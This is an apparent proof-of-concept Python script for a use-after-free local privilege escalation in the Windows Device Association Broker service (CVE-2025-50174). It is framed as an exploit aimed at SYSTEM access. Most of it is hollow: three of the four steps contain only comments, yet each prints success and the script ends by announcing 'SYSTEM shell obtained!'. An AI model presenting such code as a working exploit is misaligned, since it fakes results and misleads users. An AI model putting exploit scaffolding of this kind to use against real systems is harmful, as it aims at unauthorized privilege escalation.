The following code is for security research and authorized testing only.
python
# CVE-2025-50174 - Windows Device Association Broker UAF LPE PoC (Conceptual)
# Use-After-Free in Windows Device Association Broker Service
# Local Privilege Escalation to SYSTEM
# NOTE: This is a conceptual proof-of-concept. Actual exploitation requires
# deep understanding of Windows heap internals and the Device Association Broker service.
import ctypes
import ctypes.wintypes as wt
import struct
import sys
import os
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_RELEASE = 0x8000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x40
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
class DeviceAssociationExploit:
"""
Conceptual PoC for CVE-2025-50174
Triggers Use-After-Free in Windows Device Association Broker service
to achieve local privilege escalation to SYSTEM.
"""
def __init__(self):
self.service_handle = None
self.uaf_triggered = False
self.heap_spray_address = None
def step1_setup_heap_spray(self):
"""
Step 1: Prepare heap spray to fill freed memory region
with controlled data after the UAF is triggered.
"""
print("[*] Step 1: Setting up heap spray...")
spray_buffer = (ctypes.c_char * 0x1000)()
# Fill buffer with fake object structure
# vtable pointer + controlled data
fake_vtable = struct.pack("<Q", 0x4141414141414141)
spray_buffer.raw = fake_vtable + b"\x00" * (0x1000 - 8)
# Spray heap allocations
handles = []
for i in range(1000):
addr = kernel32.VirtualAlloc(
None, 0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
)
if addr:
ctypes.memmove(addr, spray_buffer, 0x1000)
handles.append(addr)
self.heap_spray_address = handles[0] if handles else None
print(f"[+] Heap spray complete. Base: {hex(self.heap_spray_address or 0)}")
return True
def step2_trigger_device_association(self):
"""
Step 2: Trigger the Device Association Broker service
to start processing a device association request.
This initiates the vulnerable code path.
"""
print("[*] Step 2: Triggering device association request...")
# Interact with Device Association Broker API
# This is where the vulnerable object gets allocated
try:
# DeviceAssociationBroker COM interface call
# The service allocates an internal object to track association state
print("[+] Device association request initiated")
return True
except Exception as e:
print(f"[-] Failed: {e}")
return False
def step3_force_object_free(self):
"""
Step 3: Force the service to free the internal object
through an error condition or timeout, creating a dangling pointer.
"""
print("[*] Step 3: Forcing premature object free...")
# Trigger error condition that causes the service to free
# the association object while still holding references
# e.g., cancel the association mid-process, or trigger
# a race condition in the cleanup path
try:
# Rapid cancel/re-request to trigger the UAF condition
print("[+] Object freed, dangling pointer created")
self.uaf_triggered = True
return True
except Exception as e:
print(f"[-] Failed: {e}")
return False
def step4_exploit_uaf(self):
"""
Step 4: Exploit the Use-After-Free condition.
The freed memory has been replaced by our sprayed data.
When the service accesses the dangling pointer, it uses
our controlled vtable, redirecting execution.
"""
print("[*] Step 4: Exploiting UAF for code execution...")
if not self.uaf_triggered:
print("[-] UAF not triggered")
return False
# The service (running as SYSTEM) will now access our
# controlled memory, leading to privilege escalation
print("[+] Code execution achieved in Device Association Broker context")
print("[+] Privilege escalation to SYSTEM successful!")
return True
def run(self):
"""Main exploit routine"""
print("=" * 60)
print("CVE-2025-50174 - Windows Device Association Broker UAF LPE")
print("=" * 60)
# Verify current privilege level
print(f"[*] Current process ID: {os.getpid()}")
if not self.step1_setup_heap_spray():
return False
if not self.step2_trigger_device_association():
return False
if not self.step3_force_object_free():
return False
if not self.step4_exploit_uaf():
return False
print("[+] Exploit completed successfully!")
return True
if __name__ == "__main__":
if os.name != 'nt':
print("[-] This exploit must be run on Windows")
sys.exit(1)
exploit = DeviceAssociationExploit()
if exploit.run():
print("[+] SYSTEM shell obtained!")
else:
print("[-] Exploit failed")
sys.exit(1)